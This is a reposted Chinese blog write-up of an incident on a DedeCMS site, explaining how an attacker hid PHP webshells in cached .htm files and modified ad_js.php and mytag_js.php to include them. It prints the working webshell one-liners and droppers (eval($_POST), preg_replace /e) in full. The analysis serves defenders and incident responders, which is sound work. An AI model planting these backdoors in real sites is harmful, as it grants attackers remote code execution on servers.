转自:http://www.91ri.org/6462.html

 

一种奇特的DEDE隐藏后门办法

单位某站用的dedecms,今天被某黑阔getshell了,提交到了wooyun.

为了还原黑阔入侵的手法,用鬼哥的getshell测试居然没成功, 是不是getshell过一次,再次就不会成功呢?

无奈只能打包代码,用各种webshell扫描器只扫到一个data/tplcache/xxxxx.inc文件,文件代码如下:

 
 
 
 
 
 

Default

 
1
{dede:php}file_put_contents(’90sec.php’,'<?php eval($_POST[guige]);?>’);{/dede:php}

但是翻遍所有的Web目录也没有找到90sec.php文件,有朋友指点说可能是其它文件include这个文件。然后又用Seay的代码审计工具定义关键字各种扫,还是没找到。

最后老大翻到data/cache目录下发现了几个htm文件,myad-1.htm,myad-16.htm,mytag-1208.htm等,打开这些html文件,代码分别如下:

 
 
 
 
 

Default

 
1
2
3
4
<!–
 
document.write(“dedecmsisok<?php @eval($_POST[cmd]);?>”);
–>
 
 
 
 
 
 

Default

 
1
2
3
4
5
<!–
 
document.write(“<?php $fp = @fopen(‘av.php’, ‘a’);@fwrite($fp, ‘<?php eval($_POST[110]) ?>axxxxx’);echo ‘OK’;@fclose($fp);?>”);
 
–>
 
 
 
 
 
 

Default

 
1
2
3
<!–
document.write(“<?php echo ‘dedecms 5.7 0day<br>guige, 90sec.org’;@preg_replace(‘/[copyright]/e’,$_REQUEST['guige'],’error’);?>”);
–>

看到这几个文件很奇怪,不知道黑阔要干嘛??虽然代码看似很熟悉,但是HTML文件能当后门用么?想起之前朋友说的include,然后结合前段时 间的getshell漏洞利用细节,最终翻到plus/mytag_js.php文件,在这个文件里终于发现黑阔无节操的地方,主要代码如下:

看到上面的代码我们应该知道黑阔是多么的邪恶,在生成的htm格式的cache文件中写入各种类型的一句话代码,然后再修改 plus/ad_js.php和mytag_js.php文件,包含htm格式的cache文件。这样黑阔只需要在菜刀中填入以下URL就可以连接一句话 了.

http://www.91ri.org /plus/mytag_js.php?id=1208

http://www.91ri.org /plus/ad_js.php?id=1

具体的id以及文件名跟data/cache目录下的myad-1.htm,mytag-1208.htm是有关系的。因此各种webshell扫描器都没有扫到webshell后门文件,因为很多默认都不对htm进行扫描.

不怎么懂php,所以分析可能有差错的地方,欢迎指正!

一种奇特的DEDE隐藏后门办法的更多相关文章

  1. Phpstudy被暴存在隐藏后门-检查方法

    Phpstudy被暴存在隐藏后门-检查方法 一.事件背景 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOp ...

  2. windows服务隐藏后门之克隆帐号

    windows服务隐藏后门之克隆帐号 1.CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限. PS:CMD命令行使用&quo ...

  3. Phpstudy隐藏后门

    Phpstudy隐藏后门 1.事件背景 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimizer多款 ...

  4. Tomcat几种启动报错及解决办法

    今天真跪了,tomcat的错想到想不到的都遇到了.不记录一下都愧对今天愁掉的hair 在此之前分享一个集错网站,应该是程序员必备的网站之一,不过纯英文,小酸爽 Tags - Stack Overflo ...

  5. 3种方法实现CSS隐藏滚动条并可以滚动内容

    隐藏滚动条的同时还需要支持滚动,我们经常在前端开发中遇到这种情况,最容易想到的是加一个iscroll插件,但其 实现在CSS也可以实现这个功能,我已经在很多地方使用了,下面一起看看这三种方法. 方法1 ...

  6. phpStudy隐藏后门预警

    1.事件背景 近日,使用广泛的PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门,安恒应急响应中心和研究院随即对国内下载站点提供 ...

  7. POI使用:用poi接口不区分xls/xlsx格式解析Excel文档(41种日期格式解析方法,5种公式结果类型解析方法,3种常用数值类型精度控制办法)

    一.使用poi解析excel文档 注:全部采用poi接口进行解析,不需要区分xls.xlsx格式,不需要判断文档类型. poi中的日期格式判断仅支持欧美日期习惯,对国内的日期格式并不支持判断,怎么办? ...

  8. 一种绕过PTRACE反调试的办法

    Linux 系统gdb等调试器,都是通过ptrace系统调用实现.Android加固中,ptrace自身防止调试器附加是一种常用的反调试手段. 调试时一般需要手工在ptrace处下断点,通过修改ptr ...

  9. centos7虚拟机分配静态IP但是得不到IP、不能上网一种可能的原因和解决办法

    1.首先通过ifconfig查看网卡,发现网卡名称为ens33 2. 在/etc/sysconfig/network-scripts/目录下查看网络配置文件 3. 发现有ifcfg-eth0的配置文件 ...

随机推荐

  1. 数据库迁移之从oracle 到 MySQL

    方式一: 手动方式导入导出 手动的方式导入, 就是操作步骤会比较繁琐一些. 对Table 的结构和数据: 1. 使用 SQL Developer 把 oracle 的 table 的schema 和 ...

  2. Error applying BeanValidation relational constraints 错误解决

    来自http://blog.csdn.net/sivyer123/article/details/9185325 在hibernate.hbm.xml中加上 <property name=&qu ...

  3. nyist 597 完数?

    http://acm.nyist.net/JudgeOnline/problem.php?pid=597 完数? 时间限制:1000 ms  |  内存限制:65535 KB 难度:1   描述 一个 ...

  4. 对while((pid = waitpid(-1, &stat, WNOHANG)) > 0)不懂的地方,现在懂了

    while((pid = waitpid(-1, &stat, WNOHANG)) > 0) 需要写到信号处理函数中,假如有10个子进程 只要父进程能够收到最后一个信号,就能把前面丢失的 ...

  5. 变形--原点 transform-origin

    任何一个元素都有一个中心点,默认情况之下,其中心点是居于元素X轴和Y轴的50%处.如下图所示: 在没有重置transform-origin改变元素原点位置的情况下,CSS变形进行的旋转.位移.缩放,扭 ...

  6. canvas基本画图

    <img src="img/lamp.gif" id="lamp"/> <img src="img/eg_tulip.jpg&quo ...

  7. oracle的簇的创建

    簇其实就是一组表,由一组共享相同数据块的多个表组成,将经常一起使用的表组合在一起成簇可以提高处理效率:在一个簇中的表就叫做簇表. 建立顺序是:簇→簇表→簇索引→数据 创建簇的格式 CREATE CLU ...

  8. 12个滑稽的C语言面试问答——《12个有趣的C语言问答》评析(5)

    前文链接:http://www.cnblogs.com/pmer/archive/2013/09/17/3327262.html A,局部变量的返回地址 Q:下面的代码有问题吗?如果有,如何修改? # ...

  9. Writable、WritableComparable和comparators

    hadoop的序列化格式 hadoop自身的序列化存储格式就是实现了Writable接口的类,他只实现了前面两点,压缩和快速.但是不容易扩展,也不跨语言. 我们先来看下Writable接口,Writa ...

  10. 单例模式在Java和C#中的实现

    单例模式算是最常见和最容易理解一种设计模式了.通常是指某一个类只有一实例存在,存在的空间我认为可以理解为该类所在的应用系统内,还有一种是在某一个容器内单一存在,比如像spring的IOC容器(作用域为 ...